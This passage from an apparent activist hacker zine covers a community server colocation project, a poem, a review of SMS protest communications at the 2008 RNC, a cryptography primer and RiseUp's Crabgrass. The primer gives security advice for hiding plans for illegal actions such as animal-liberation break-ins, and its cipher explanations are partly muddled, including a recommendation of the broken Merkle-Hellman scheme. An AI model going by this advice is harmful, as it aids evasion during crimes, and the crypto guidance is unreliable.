learning institution merger to research "biofuels". This means that not only is
UC money going to help research for private business, BP will run the projects
of a public university. There are also plans to grow Genetically Engineered corn
in the area, possibly contaminating people's own gardens with GE pollen.

Another situation that has increase opposition to the university is the findings
of 13,000 native remains that are in storage under the women's swimming pool.
Current estimates show that half of the campus used to be a burial ground for
the Ohlone Tribe. The Ohlone people have demanded that the university return
these remains so they can be buried in proper native fashion.

Also within this time period, ground has been broken for a new animal testing
facility, even after the university said they would not expand facilities.
Community outrage about the testing on campus has resulted in home
demonstrations of researchers and contractors.

A simple treesit involving the construction of a new sport facility has exploded
in The University's face and now to a full scale discontent situation involving
community members and students alike. Solidarity Treesits are also going on at
UC Santa Cruz against the Long Range Development Plan. Could it be a wave of
change for UC Berkeley and the UC system? We sure hope so!

           To help out with the oaks go to: http://www.saveoaks.com

 Community Colocation: A Legal & Financial        by Ryan Bagueros, co-founder,
 Firewall for Subversives and Non-Profits         San Francisco Community Colo

Every commercial website that exists on the internet has servers hosted at a
colocation facility, or "colo" for short. A colo is a large, semi-sterile, air
conditioned building filled with cabinets [1]. Each cabinet contains a power
hook-up, maybe some cooling fans and anywhere from 10 to 25 rack-mounted servers
[2], as opposed to the normal desktop computers used at home. The alternatives
to hosting at a colo facility include shared web hosting or hosting a machine
off your home cable or DSL, both of which have severe drawbacks. Every
commercial website that exists on the internet has servers hosted at a
colocation facility, or "colo" for  short. A colo is a large, semi-sterile, air
conditioned building filled with cabinets [1]. Each cabinet contains a  power
hook-up, maybe some cooling fans and anywhere from 10 to 25 rack-mounted servers
[2], as opposed to the normal desktop computers used at home. The alternatives
to hosting at a colo facility include  shared web hosting or hosting a machine
off your home cable or DSL, both of which have severe drawbacks.

Colocation hosting is, by far, the best option from a technological point of
view. Most colo facilities have generator power backups in case of an
electricity outage. Most of them have security guards who monitor who is going
in and out of colos, and usually have the most reliable, fastest internet

However, from a logistical point-of-view, colos present a number of challenges,
especially for non-profits or  groups expressing their right to freedom of
speech (in particular, free speech that targets the misdeeds of large
corporations or governments). It is generally the policy of all commercial
colo's to immediately comply with subpoenas, DMCA take-down complaints or any
official-looking order from a corporate law firm or a  law enforcement agency.
In many cases, compliance is not even mandatory but the commercial colo will go
along with it just to be on the safe side - after all, their only objective is
to make money, so why risk it?

In addition, most colocation facilities require a minimum commitment of half a
rack and several Mb/second traffic baseline, all of which translates into costs
-- generally more than a financially struggling non-profit  can afford.

With these problems in mind and driven by a philosophical belief in universal
digital access, an off-shoot of the Electronic Frontier Foundation (EFF) called
Online Policy Group was founded in 2000 with the idea of operating a colo with
a "pay-as-you-can" model, relying on grants and donations for funding. During
the six  years that the California Community Colo Project was operated by OPG,
they filled up 18 cabinets of public use and hobbyist servers. Unfortunately,
this model did not prove to be sustainable, and in December 2006 it was
announced that CCCP would be powering off all of its cabinets at Hurricane
Electric in Fremont, California.

By that time, though, numerous organizations deeply rooted in the community had
come to rely on the colocation services provided by CCCP. A number of us decided
that we would continue the community colo model, with some improvements that
would make the organization more sustainable.

In December 2006, the San Francisco Community Colo was born. Our first policy
change was to get rid of the "pay-what-you-can" model. The SFCCP is a membership
based group where all par-  ticipants equally share the cost of uplink provider
rather than just paying whatever you can (which oftentimes ended up paying
nothing for months on end, sticking the organization with the bill). We also
chose a more centrally-located facility in downtown San Francisco, at 6th &

SFCCP also spends a considerable amount of organizational effort preparing for
attacks on the privacy of our clients. We host activist sites from all over the
world, including the West Bank, Colombia, Brazil, Venezuela. Many of the servers
we host are critical tools used in struggles of resistance against some of the
most corrupt governments in the world. For instance, we help host the pirate
radio stream that is the voice of the  insurgency against the renowned corrupt
governor of the state of Oaxaca in Mexico.

We are also keenly aware of the risks facing information technology providers in
this day and age. For instance, police in Italy served a colo provider with an
order which allowed them to physically hack an activist  server and install
software which allowed them to monitor encrypted e-mail traffic [3] -- the ISP
was forbidden to tell their client that this compromise had occurred and the
police spied on activist e-mails for an entire year.

Compare this with how a similar situation was dealt with at the California
Community Colo. At a time when the integrity of electronic voting machines was a
matter of public debate and the leading manufacturer of voting machines in the
U.S. (Diebold), had been reassuring everyone that their voting machines were 
"hack-proof," internal Diebold communications proved otherwise. Someone hacked
Diebold's mail archives and posted them on the SF Indymedia website, hosted at
CCCP. We received a DMCA takedown order but because we are a community colo, not
a for-profit colo, we immediately took the order to sympathetic attorneys.
Diebold's order was fought in court and we won -- the damning evidence against
Diebold's machines would stay online and Diebold was commanded to pay legal
fees and more [4].

While it is true that ultimately the community colos are not entirely
independent from a commercial backbone provider, we provide enough bureaucratic
distance that we can intercept legal requests before they get  that far. And, as
history has shown, this approach works. By providing a "community network," we
are able to throw up a line of defense against those who would suppress the
inherent freedom of information that makes the internet phenomenon so

Therefore, the purpose of community networks like SFCCP is two-fold:
1) to provide high-availability, high-quality uplinks to community groups and
non-profits at a reasonable price and 2) to provide a front line of defense
against corporate and law enforcement interference.

Finally, it's worth nothing that the SF Community Colo is largely run like any
other open source or free software project. For the most part all decisions are
transparent. We even use Trac [5], traditionally used to  manage free software
projects, as our organizational software.

SFCCP is constantly working on improving our security and lowering our costs.
Current projects include distributed and redundant data storage to mitigate the
impact of the loss of a single SFCCP server. The work we're doing is cutting
edge and our goal is to form a network of community colos that can take our
project to the next level.  

That said, we are in desperate need of support from the community. While we are
just about fiscally solvent on our month-to-month expenses, we could use help in
the following ways:

1) Human resources! We need motivated individuals who want to see a project like
this succeed and can donate some sweat and labor to the project. You can e-mail
us at [email protected] to start getting involved.

2) Technology resources! As long as the equipment isn't broken, we'll take any
kind of networking gear or rack-mounted servers that you aren't using. Again,
email [email protected] to get in touch about this.

3) Money, money, money! It's the root of all evil but we are seriously in need
of outright donations or anyone who understands how we can get grants to help us
continue our work. If you can help us out with that, please e-mail [email protected]
-- note that all SFCCP workers are unpaid volunteers and we dig in our own
pockets to pay for emergency costs.

4) Start a community colo in your city! We are more than happy to help new
community colo's get up and  running. Please get in touch with us if you'd like
our help in getting a CCP running in your city.

There are less and less spaces on the internet which are outside the reach of
corporate and law enforcement reach. The community colo movement is doing
everything we can to reverse that trend. Community colos are popping up all over
North America -- Seattle, Chicago, New York City and a new one forming in
Cleveland, Ohio. We hope to hear from all freedom-loving netizens who want to
help see this project grown and succeed.  


[1] Your typical colocation facility   http://porn.linefeed.org/web_corridor.jpg
[2] Rack-mounted servers -         http://www.flickr.com/photos/sfccp/449887197/
[3] Autistic attack -             http://test.edri.org/edrigram/number3.14/Italy
[4] Online Policy Group v. Diebold 
[5] Trac Integrated SCM & Project Management           http://trac.edgewall.org/

 39 Lashes                                                             by Ardeo

             One lash for the Leader, with the charismatic glow
                 One lash for the Millions, who never said no
            One lash for the Politician who takes away our rights
              One lash for the General, who lights up our nights
               One lash for the CEO, who hears the money call
                  One lash for the Worker, who takes the fall
                 One lash for the Priest, who says that we sin
              One lash for the Secretary, who says the we'll win
               One lash for the Teacher, who ignores the facts
                One lash for the Soldier, and his heinous acts
                One lash for the Intern, who covers his tracks
                 One lash for the Parent, who says it's alright
                 One lash for the Baby, who cries in the night
                 One lash for the Student, who never inquires
                 One lash for the Arson, who never sets fires
               One lash for the Terrorist, who prays to his God
               One lash for the Governor, who kills with a nod
             One lash for the Judge, for condemning an innocent
            One lash for that Man, for not questioning precedent
                One lash for the Madmen, for telling the truth
              One lash for the Marketer, for enticing our youth
               One lash for the Bomber, that he waste his mind
               One lash for the Black man, homeless and blind
                     One lash for the Drunk, never aware
                 One lash for his Friend, with the gazely stare
                 One lash for his Mother, for giving him drink
              One lash for his Sister, for never stopping to think
                One lash for their "Father", who rules over all
                   One lash for his Son, and Peter and Paul
                One lash for the Folk singer, who hung himself
                   One lash for the Poet, who sits in a shelf
               One lash for the Pop stars, who threw away art
             One lash for the Downcast, who gave all their heart
                  One lash for the Lawyers, rich and greedy
            One lash for the Ramshackled, abandoned and needy
            One lash for the Nations, who maintain their violence
            One lash for the Nations, who maintain their silence
            One lash for the Citizen, who finds dissension grand
                 One lash for him more, for not taking a stand

                                    by Ardeo

 Tapatio:  RNC 08 Comms Analysis                                         by CGB

This is an analysis of the implementation of the communications team at the
Republican National Convention in Minneapolis, MN September 2008. While the
majority of this analysis was written by CBG, it is hoped that others who can
provide their own analysis will in the comments section.

This is an analysis of the Tin Can Collective’s attempt to provide a
communications infrastructure for the RNC 08 protests in the Twin Cities. The
analysis is based on first hand knowledge and informal discussions witha variety
of users and other participants during the 4 day long protests. Tin Can was a
new collective made up folks that had never worked together on such a project
prior to the RNC 08 protests. The collective came together sometime after May
giving it about 3 months to prepare and implement the infrastructure for tens of
thousands of possible users.

The Tin Can Collective
This collective was a mix of locals and people from around the country. No one
in the group had experience providing a communication infrastructure on such a
scale. The main body of the collective was made up of various activists with a
wealth of varied experiences with protests at this scale. The collective worked
very well together despite geographic distance. The collective had very modest
resources and needed to rely on donations for the equipment and money needed to
set up the infrastructure. The entire thing was done a shoestring budget.

The backbone of the system was the use of Twitter. After much discussion it was
decided that Twitter would be more effective than other already existing
networking software (e.g. TxtMob) and that the short period of time would make
it impossible to code our own networking system. Twitter would handle the
function of distributing sms messages to users on the streets. There was concern
about Twitter’s ability to handle the volume of messages and that some mobile
phone systems could not support Twitter. There was also concern about
significant delays, like the ones that occurred during the NYC RNC 04 protests
that used TxtMob. These problems did not occur during the RNC 08. There were
very few systems that could not utilize Twitter (the exception being pre-paid
T-Mobile) and there was no noticeable delay in relaying messages despite heavy
volume. Overall Twitter worked as expected.

Tapatio was a new software developed for the protests. It was to be a management
system that worked with Twitters distribution system. Tapatio was a way to
filter and generate messages. It was to be used by the collective to send out
useful sms messages to the street level users. It also allowed street users to
send sms messages to the comms team to be dispatched to the right groups and
vetted. Tapatio was a complicated piece of software that managed a variety of
tasks in a pretty straightforward user format. There were also some problems
that if there had been more time and greater number of practice sessions could
have been corrected.

(Note from the tapatio development team: The name "tapatio" for this project was
concieved early in 2008 when the software was in it’s early design phase.
Hackbloc developers were tired of the naming conventions that were already in
use (famous anarchists or penguin types for computers, choice beverages for code
projects, etc). The naming convention that was decided on was hot sauces, and
the sauce that was on the tip of everybody’s toungue after dinner that night was
tapatio. Tapatio has been released as a Drupal module. All releases are
available at http://drupal.org.project/tapatio.)

What worked
* Tapatio was successful in dividing messages effectively among various user
groups. There were a total of about 17 user groups ranging from 7 sector groups
to a food group. This system worked and all user groups were able to get
messages directed at their interests.
* Tapatio allowed for successful filtering of undispatched and dispatched
messages. This system could filter messages a variety of ways from date, type,
dispatched/undispatched, etc. This system also allowed all sms messages to be
looked at by a variety of operators before being sent out and even after
messages were sent out.
* The automatic date and time stamp also worked well in helping to organize the
messages and determining their relevance.
* Each message had a user name attached to help verify information and seek out
further clarification and this was also quite helpful.
* The system allowed individuals to choose what user groups they wanted to
belong to and unsubscribe on their own. Thus effectively decentralizing the flow
of information.
* Tapatio worked pretty well at receiving sms from the street, awaiting vetting
and being sent out.
* The verification sections (e.g. select group) stopped poor or undifferentiated
messages going out.

What could be improved upon
* Picking shorter and easy names for user-groups to ease registration for those
unfamiliar with Twitter. Most namely not using confusing words or symbols like
"_" .
* Allow for the deleting in batches in messages that would not be sent out, as
opposed to each individual message with a further click for verification. This
took a substantial amount of time to delete messages.
* Have the Title field and the message field linked to avoid copying and
pasting, which also added to the time of sending out messages. Nearly 90% of the
messages had identical titles and messages.

* Design the front page better:
  1. Allow all groups to be seen without scrolling.
  2. Allow a check box system to click groups (as opposed to a cntrl click)
  3. An option to select all groups
  4. Shrink "Body" section and change it to "Notes" to make it more clear.
  5. Create some simple macros (e.g. Police) for the message section
* It was planned but never implemented the "Info, Warning or Emergency"
designations (yet was needed to send out a message thus adding another two
clicks to dispatch). The idea of this is good and should be implemented. The
hope that people could choose if they wanted all messages or just emergencies
would add to the userability and make this designation useful.
* The Rating system, including the pre-weighted votes (e.g. Scouts) and adding
votes never actually worked and thus were bypasssed. It was easy to do and thus
did not slow down or interfere with the dispatching of messages but could either
be improved upon or removed.
* De-duplication was like the Rating system in that it was ignored. It did work
however but because it was counter-intuitive it was not practical. The inability
to delete in batches created long lists of messages and thus scrolling to find
the duplicate message/s took longer than retyping a sending out a fresh message
it was not used. It also deleted the message you were looking at keeping the one
from the list, which is counter intuitive. Also the newer message often had
better info and thus should be the one kept and the one from the scroll list
should be the one deleted.
* Most of the flaws in the system were minor and over all Tapatio was a success.
(Note from the tapatio development team: Each of these feature requests are
being worked on as this goes to press. Always check
http://drupal.org/project/tapatio for the current release. Information about
this project and other communications software written by the hackbloc team can
be found at http://comms.hackbloc.org)

Scouts & Operators
In addition to the collective, there were individuals who agreed to work as
volunteer scouts and operators. Scouts were people on the streets providing
information to comms and willing to be dispatched to areas where there were no
scouts but reports were coming in. Scouts were to have increased reliability and
for the most part this seemed to be true. Though the Rating/voting system did
not work operators simply dispatched scout info without verification for the
most part and this worked quite well. Operators were the ones answering the
phone, writing sms and dispatching other sms messages to the street.

We had enough of both for at least the first day and the people seemed to take
their tasks seriously and do them well. Both types of trainings (Scout and
Operators). Both operators and scouts added to the overall success of the
project and did a great job.

The trainings for both groups could have been better and more organized,
especially the operators. The average training time was about 30 minutes, with
about 6-12 participants. The vouch system seemed to work for both scouts and
operators and there was not shortage of either. The vouch system was a success.
Asking people to pre-register for scouts and operators on-line was not a success
with only one or two people bothering to fill it out.

Things that could be done better would include greater preparation in trainings.
In the future, having sign-in sheets with phone numbers, handles, type of scout
(bike, foot, connected with an affinity group, floating, etc.) and times working
would be useful. These could be easily encrypted and provide security for those
volunteering but allowing comms to keep track of folks. Having better advertised
meetings would also be useful, since we are using a vouch system that requires a
bit of front end work.

SKYPE & Texting
Using Skype was a good alternative to using cell-phones and/or landlines. It
provides greater security since it can be purchased cheaply and anonymously..
We did have one landline, but could have just as easily used another Skype
account and it would have been just as good. The roll over function for Skype
is superior to both landlines and cellphones and worked perfectly. The contact
book also allowed us to know who was calling in (e.g. Scout) and prioritize
calls. Skype also allowed people to remain at the computer and work on tapatio
(and look at other information web-sites) while receiving calls. Having a "back-
door" number was crucial to give to scouts and other groups (e.g. Legal office).
The back-door number is a different and less used than the public number which
could have been more widely distributed.

Perhaps the biggest lesson was that most people, including scouts, will call in
not text in information. This makes sense for a variety of reasons. First calls
for the most part faster, people can speak info faster than using a non-qwerty
keyboard for texting. Second, people like to be looking around when relaying
info and again this is much easier when not looking at a little screen and
keyboard. Lastly, calls, as opposed to texts, allow the operators to ask
clarifying questions. The disadvantage of calls is that it is sometimes hard to
hear with the noise of the street and the office. It is worth investing in
quality headsets with adjustable volume for operators.

Office Set-Up
It was valuable to have an office where everyone working as operators were in
shouting distance so decisions could be made quickly and information shared. It
was crucial that all work stations have a useful map, list of backdoor numbers
to other groups, notebooks and other items to organize information as it comes
in and goes out. Limiting the number of people in the office to the bare minimum
will help greatly to reduce noise and make the work more effective. Some type of
sound dividers between operators would also be useful. Overall the office ran
efficiently and dispatched hundreds of messages in a few hours.

It is possible to set up an office anywhere, even remotely. Having a centralized
office to the action was counter-productive (see security section).

FM Radio
Even though the FM radio never got off the ground due to one group pulling out
and another being sabotaged, it was still unlikely that it would have been
effective. The number of FM radios has dropped considerably over the years and
people often do not want to bring extra materials on the street during a
protest. It also requires a high risk for individuals and equipment with very
limited use. Specifically in cities where there is a lot of RF and line of sight
problems it is unlikely that FM radio could serve as an effective backup comms

Though their was a conscious attempt to be secure there were places where Tin
Can could have done better. Though the location of the office was kept from the
public there were still too many people who did not need to know where it was
that knew. The only people that need to know where the office(like operators)
should have that information. Encrypting operator and scout lists would have
been simple and improved the security of everyone involved. The greater use of
pre-paid phones by users would have also aided security of individuals. The
price has come done considerably on these phones making them economically
available to most activists. Understanding that comms can be targeted by law
enforcement would suggest that ordinary personal security be increased like
making sure cell-phones are clean, not keeping sketchy stuff on you while at the
office, observing security culture in conversations with others, etc. Having
someone/s staying in the office would also protect it from being bugged or
otherwise compromised. Though it was discussed but never implemented using web-
cams for security outside the office could be useful in the future allowing
folks inside the office to see what is going on outside and collect evidence of
illegal conduct of the police during a raid.

The raid on the comms office, highlighted the need to have a back-up system that
can be ready to go if one node gets shut down. Comms was able to get back up but
it took some time and at a seriously diminished capacity. Having people and
equipment ready to go in case of a shut down would have made the transition and
the fluid functioning of the comms infrastructure much easier and more useful.

User Feedback
* Many people chose not to use the system for security concerns. Tin Can could
have done better to explain the realistic concerns and explained how cheap track
phones could alleviate these concerns. Whenever a new technology is used there
are those concerns and Tin Can should address them up-front.
* The folks that only subscribed to Sector groups found the information very
useful and the flow of messages manageable. Those that signed up for many groups
were swamped with messages and received quite a number of duplicates. Certain
groups should have been limited like Police Activity that could have sent only
information from scanners and not street reports. Groups like food were under
utilized and probably not needed. The bike group was also under utilized and
could have been removed. Medics had there own comm system and thus did not use
ours very much and thus it could have been removed, without much of an effect.
Due to the decentralized nature of the actions the roaming squa group received a
lot of messages, often for places far away from any individual group. It is
unclear how to remedy this for future actions that are decentralized and
utilizes flying squads. The other groups seemed to work. It might be better to
switch the comms group name to the scouts to make clear what kind of information
it contains.

* Integration with other groups was a mixed bag. Comms and legal did well in
coordinating messages and mutual verification. Medics had their own dispatch
problems and were fairly disconnected to the comms groups. Between these two
extremes most of the other groups had periodic connections that seemed to serve
both comms and the individual groups well. Better use of backdoor communications
and a dedicated "verifier" (an operator or two who was in routine communication
with other groups and building relationships with them) could be very valuable.
* Scouts seemed to find the system to be very valuable to their work and felt
their messages were sent out in a timely fashion. This was probably the greatest
success of the comms network. The use of the backdoor made dispatching and
verification easy and timely. Scouts provided useful reports on every hotspot
during the duration of the comms network. The use of cellphones as oppossed to
walkie-talkies seriously reduced the police’s ability to target scouts. Only one
scout got arrested during both days of actions, which is much different than
previous mobilizations where walkie talkies were used. Since cell-phones are
everywhere scouts do not stick out using them. It also reduces the up-front
costs for such a network in that even track phones are much cheaper than good
two-way radios and have a much better clarity and range (not to mention text
* The comms did a good job of rumor control. The use of multiple verification
helped significantly reduce the number of rumors being sent out as info. In the
few instances where incorrect information was dispatched corrections immediately
followed. The presence of comms also reduced the word-of-mouth rumors that
normally plague such confusing actions. People waited to get info from comms and
other sources before believing rumors and misinformation and thus reduced their

Despite the obstacles of the raid, the comms infrastructure for the RNC 08
protests was a success and suggests a new way forward for these types of
mobilizations. The software works but could use some changes to make it more
effective. The ratings system needs to be further developed to truly utilize the
"wisdom of the crowds" phenomena turning everyone with a cell phone into a
scout. Comms can increase its usefulness but rethinking user groups and making
better connections with already existing groups to make sure information is
readily available, manageable and verified. Allowing users to select the type of
information they want (for example: info, warning or emergency) will reduce the
amount of information users will have. Greater emphasis on the human-side of
comms like training, security and reach out need to more emphasis during future
mobilizations. The Tin Can model has addressed most of the problems of earlier
communication systems and with some minor revisions could be an important tool
in aiding the success of large mobilizations.

 Cryptographic Education for the Militant Activist       by Nomenumbra[0x00SEC]

[0x01] Introduction
Greetings and welcome to this first, short, installment of Cryptographic
Education for The Militant activist. With these series of articles, to be
published in future HackThisZine issues, I hope to educate (h)ac(k)tivists in
the elementary basics of cryptography as to enhance their capability to defend
their information from the prying eyes of governemental fascists and other
unwanted entities.  

This installment will be an introduction to Shannon confusion and diffusion,
elementary cryptographic design principles and the merkle-hellman cryptosystem,
a flawed but greatly educational assymetric cryptosystem. Instead of trying to
make full-blown mathematicians out of all of you i'd like to take a more
practical approach, since activism is practice after all.

This does not, however, mean that it won't contain fairly advanced mathematics.
Of course, anyone with a bit of a math-knack or a formal education in the fields
of logic, group and set theory and general mathematics should be able to
understand this document. I can't press the necessity of cryptography and
security culture enough, especially when it comes to civil disobedience and
direct action.

Governemental agencies heavily rely on both wiretapping and interception of
documents. Of course these agencies also have enough expertise to break almost
every homemade code you designed (unless you have access to a very skilled
mathematician :p) but if designed properly, it will take them either a long time
(long  enough to continue with the action without them using that information
against you) or too long to be efficient and they'll leave the document and try
other ways.  

Now, this encryption should be applied to schematics, blueprints, maps and
instructional documents that are essential to operational activities and
documents that are carried by the activists. The .gov will try to pressure
activists into giving them the key, so in order to avoid this problem strict
security culture should be practiced and each document should be encrypted with
a different key, which is known only to the person responsible for the action
the document relates to.

For example, in case of animal liberation, the person responsible for terrain
recoinassance should have the key for the maps, whilst the person responsible
for the nightwatchmen's schedule should have the key to that document. Documents
should only be decrypted when needed, and the decrypted copies should be
destroyed  immediately after use, preferrably by fire, to avoid reconstruction

Basic knowledge in the field of cryptography and a basic mathematical
understanding are required to understand this paper, if you lack any, it isn't a
big problem, as you can read up while you read trough the paper, but it isn't
advisable to read it if maths is a weak point. Well, that being said, here we go

[0x02] Shannon Confusion and diffusion
Confusion and diffusion are two elementary properties of modern secure ciphers,
as defined by Claude Shannon. Confusion aims at making the relationship between
the statistics of a ciphertext E and it's key K as complex and involved as
possible. In the case of substitution, one could theoretically determine K based
on the statistics of E, since K is limited by the letter frequencies of E.

Let us say a cryptanalyst measures a set of statistics [S1..Sn] and tries to
determine our key [K1..Kn], for which his statistics set contains sufficient
information. Now, the aim of a good confusion method aims at making the relation
connecting these variables as complex as possible.

For example:
  F1(K1,..,Kn) = S1
  F2(K2,..,Kn) = S2
  Fn(K1,..,Kn) = Sn

As you can see, each Fi involves all Ki (with i being the function index and the
Key index respectively). This leaves the cryptanalyst with a large number of
simultaneous equations, whereas a non-confused function would only employ a
small number of Ki.

Solving this problem with a small number of Ki is fairly trivial, one would
first evaluate some of the Ki and substitute those in the more complex

Confusion can be achieved through substitution. A method for achieving good
substitution is making use of so-called S-boxes. An S-box takes some number of
input bits, m, and transforms them into some number of output bits, n: an mxn
S-box lookup matrix. S-Boxes may be fixed but can be generated dynamically,
based  on the key, too.  

An example S-box might look like this:

     000 001 010 011 100 101 110 111
 0 | 000 001 010 011 100 101 110 111
 1 | 111 000 001 010 011 100 101 110

Given a 4-bit input, this table produces a 3-bit output.

We first split the 4-bit input in a 3-bit and a 1-bit part (usually, a bit-
sequence is split by taking the two outerbits and the remaining innerpart, 00101
would be split in 01 ([0]010[1]) and 010 (0[010]1) for example).

Now we see where the matching column and row intersect, in this case we take
0111 as an input and split it in [011] and [1]:

     000 001 010 011 100 101 110 111
 0 | 000 001 010 011 100 101 110 111
 1 > 111 000 001[010]011 100 101 110

Which gives us 010 as our output.

Now we may concatenate our output 010 with our outer byte [1] which yields 0101.
Now, reversing this process is simple, one takes the outer [1] and thus knows
in which row to look and searches that row for 010 and takes the matching column
indicator (011) and appends the outer byte which yields 0111, our input.  

Now, as you can obviously see, the examplary S-box is designed in a very poor
fashion. We must always take care when designing our S-boxes, for once they are
public (which is usually the case with most algorithms, as they are subject to
academic standards and peer-review) we must assume our opponent knows the full
design  specifics of our S-box, and the theory behind it. Ofcourse ciphers
developed for security of documents related to activist events are not to be
made public, but we don't want to rely solemnly on security trough obscurity,
for that is not only a bad practice, it is dangerous in this case, so proper
S-Box design is, logically, a topic of much debate. The answer to the question,
if there is an S-box S1 that would be preferable over another S-box S2, is yes.
For if S2 wouldn't preform any permutation, it would obviously be useless.

Another example of a poorly-designed S-box would be one based on a lineair
function, like f(x) = 5x + 10, which enables the attacker to deduct the lineair
relations based on this knowledge. For now, let us not venture too deep into
mathematical theory and assume key-dependant S-boxes are secure enough for our
short-term  purpose, or if you don't have access to computational resources
during your operation, a sufficiently random S-box should do too for a real
short-term operation, as long as you keep it's design hidden from prying eyes.

Diffusion is the property that refers to preventing statistical redudancy in the
plaintext from occurring in the ciphertext, to prevent, for example, frequency
analysis. Diffusion can be achieved trough transpositional permutation.

An example of a good transposition function is the one used in RijnDael, also
know as AES. This function works by dividing every plaintext block in a 4x4
matrix, which is transposed.

The transposition works as follows:
Let us consider a matrix A:
                               A = (41 45 46 20)
                                   (49 50 30 31)
                                   (12 43 53 70)
                                   (66 35 86 90)

Every element in each row shall be shifted x positions, cyclicly to the left,
where x is the row index number, starting indexing at 0. After one such round A
will look like this:
                                A = (41 45 46 20)
                                    (50 30 31 49)
                                    (53 70 12 43)
                                    (90 66 35 86)

The second operation mixes the columns, this is achieved by considering every
column's 4 bytes as a seperate vector and muliplying it with with a matrix over
a special finite algebraic field GF(2^8) met 2^8 elementen. This galois field
redefines addition,substraction, multiplication and division.

Addition and substraction, as in add(a,b) and sub(a,b), are defined as an
exclusive or operation. Due to the commutativity of the exclusive or operation
add(a,b) and add(b,a) are equal and add(a,b) and sub(a,b) are equal too.
Multiplication is a bit more complex. The following steps are taken in order to
multiply two values a and b:

Given two bytes a and b and a product p defined as 0, repeat the following
operations 8 times:

0) If the low bit of b = 1, p = p xor a
1) If the high bit of b = 1, h = 1, else h = 0
2) a << 1 (bitwise leftshift)
3) If h = 1, a = a xor 0x1B
4) b >> 1 (bitwise rightshift)

After these steps p will be the product of a and b as defined by multiplication
inside this galois field. Dividing a by b is achieved by multiplying a with the
multiplicative inverse of b, as in a * (1/b). Finding the multiplicative inverse
is possible by multiplying b with each value inside the galois field until we
find a value which yields a  product of 1. Another method is to employ the
extended euclidean algorithm (for those unfamiliar with it, I suggest you take a
look at it, it's essential in a lot of mathematical fields).  

Let us consider a matrix A:

    A = (2 3 1 1)
        (1 2 3 1)
        (1 1 2 3)
        (3 1 1 2)

So, in pseudocode our function works as follows:

Function MixColumn(array v[4]) // vector input
   array a[4] = v
   // the second parameter of gf comes from the corresponding field
   // inside the given matrix
   v[0] = gf(a[0],2) xor gf(a[3],1) xor gf(a[2],1) xor gf(a[1],3)
   v[1] = gf(a[1],2) xor gf(a[0],1) xor gf(a[3],1) xor gf(a[2],3)
   v[2] = gf(a[2],2) xor gf(a[1],1) xor gf(a[0],1) xor gf(a[3],3)
   v[3] = gf(a[3],2) xor gf(a[2],1) xor gf(a[1],1) xor gf(a[0],3)

The result is a mixed vector.

The inverse of the column mixing function is the same function, but with a
different matrix (the inverse matrix of the former):

    A = (14 11 13 9)
        (9 14 11 13)
        (13 9 14 11)
        (11 13 9 14)

The input of this inverse function is of course the mixed vector, combined with
this matrix. Together these two functions are RijnDael's primary methods for
achieving shannon diffusion.


An example of an asymmetrical algorithm is the Merkle-Hellman cryptosystem,
based on the "knapsack problem", a mathematical problem in combinatorial
optimization. This problem is NP-Complete. The problem can roughly be described
as follows:  

One takes a set W so that for each x in W : [x > (n=1,i-1)(sigma)(W[n])] where i
the index position of x is.  So every number in the set must be greater than the
sum of it's predecessors, making it superincreasing. To construct the key for
encrypting a message of N bits, one takes a random number Q where Q > (n=1,N) 
(sigma)(W[n]) and a random number R so that the greatest common divisor of Q and
R is 1 (making them  coprime). Now we generate a set B = {B[1],B[1],...,B[n]}
where B[i] = (R*W[i])%Q (with % being modulo). The public key will be B and the
private key S will be a combination of W,Q and R. Encrypting a message A of
n-bits will go as follows:  

C = (n=1,i)(sigma)(A[i]B[i])

Decryption goes like this:
One calculates C' = (C*S) % Q and W = (B*S) % Q.

No we deduce the plaintext from C':

1. One takes the biggest element from W (W[max]).
2. W[i] = W[max] (W[max] is always the last element in the set)
3. If W[i] < C' or W[i] = C' then W[i] is in the knapsack.
4. If W[i] is in the knapsack, one deduces this value from C' and reduces i by
one and repeats steps 3 and 4 until every element has been tested.

And so we deduce a plaintext set from C'.
The algorithm, however, has been broken by Adi Shamir. It turned out that if the
elements of the public key are modular multiples of a superincreasing sequence,
almost all equations of the form:

(i=1,n)(sigma)x[i]*a[i] = b with x[i] in the domain {0,1}

Can be solved in polynomial time. And thus the plaintexts x[i] corresponding to
the ciphertext b can be easily found. Now, I won't go in detail about the
working of the algorithm proposed by Shamir, as it is not within the scope of
the article, this just serves as a note that this algorithm has been broken a
long time. Which does not mean it is useless. It's extremly simple nature makes
it implementable with pen, paper and a pocket calculator, which makes it
extremely well-suited for quick, short-term direct action. Say an action group
first agrees on a personal alphabet, like an ASCII table but with custom values,
as in A=1,B=2,etc and then agrees on a different public and private key for each
direct action, the private key which is distributed at the last minute before it
is needed, in a discrete form. In the event of possible capture or the document
falling in enemy hands by  accident, it makes deniability more plausable,
especially if the key is destroyed before it is taken. Of course law-enforcement
will decrypt your message very soon, but if the operation is canceled or halted
because of  the plans falling in enemy hands, it is less likely they will
vigorously pursue decryption and thus evidence than if they obtained plaintext

[0x04]Greetz'n Shoutz

Shouts and greets go to the Nullsec folks ;), the whole of RRLF, the .aware
crew, xzziroz, PullThePlug, SmashTheStack, HackThisSite, the #dutch folks,
#vxers and #vx-lab on undernet, irc.blackhat.ru, what's left of 29A and every
true blackhat and scene lover out there, stick together guys!

Also I'd like to give my regards to the indymedia folks, the people of
infoshop.org, foodnotbombs, the antifascist action, the activists of EarthFirst!
and of course the good ol' EZLN ;)

 RiseUp.net's Crabgrass: Non-Corporate Social Networking            by Flatline

Since the Internet boom happened over 10 years ago people have been organizing,
congregating and socializing through it in ever increasing numbers. Starting
first with the horribly insecure medium of chat rooms and forums, which were
hardly a step up in security from the BBSs of old. Lately there has been an
onslaught of social networks which have blown up to become arguably some of the
biggest gathering centers for social interaction. Chief among these are MySpace,
FaceBook and the now defunct pioneer, Friendster. 

The main problem with these social networks is the fact that they offer almost
no privacy, most groups can be joined by anyone and anyone can see your profile
and anyone can see who you are friends with. Sure you can put some privacy
restrictions on your profile, but you usually have to dig pretty deep to find
those and most people will not even bother to dig that deep. Even if you do, how
many people or bands have you casu- ally added as friends without fully even
knowing who they are? Security has never been a concern for social networks and
barely even a feature; until now. 

The RiseUp.net collective, the same that brought you its ultra secure, easy to
use, email and hosting services has been working on a project implemented in the
Ruby On Rails framework called ‘Crabgrass'. Crab- grass is in RiseUp's words,
"our very own open source, not for profit, social organizing platform. Crabgrass
is designed for group and network organizing, and tailored to the needs of the
global justice movement." This boils down to some very important points, the
first being that crabgrass is Open Source, that means that you can see all the
underlying programming behind it. So you yourself, (or a more geeky friend)
could verify that there aren't any secret FBI backdoors and that your data isn't
being sold to any corporations. Also it means that anyone can review the source
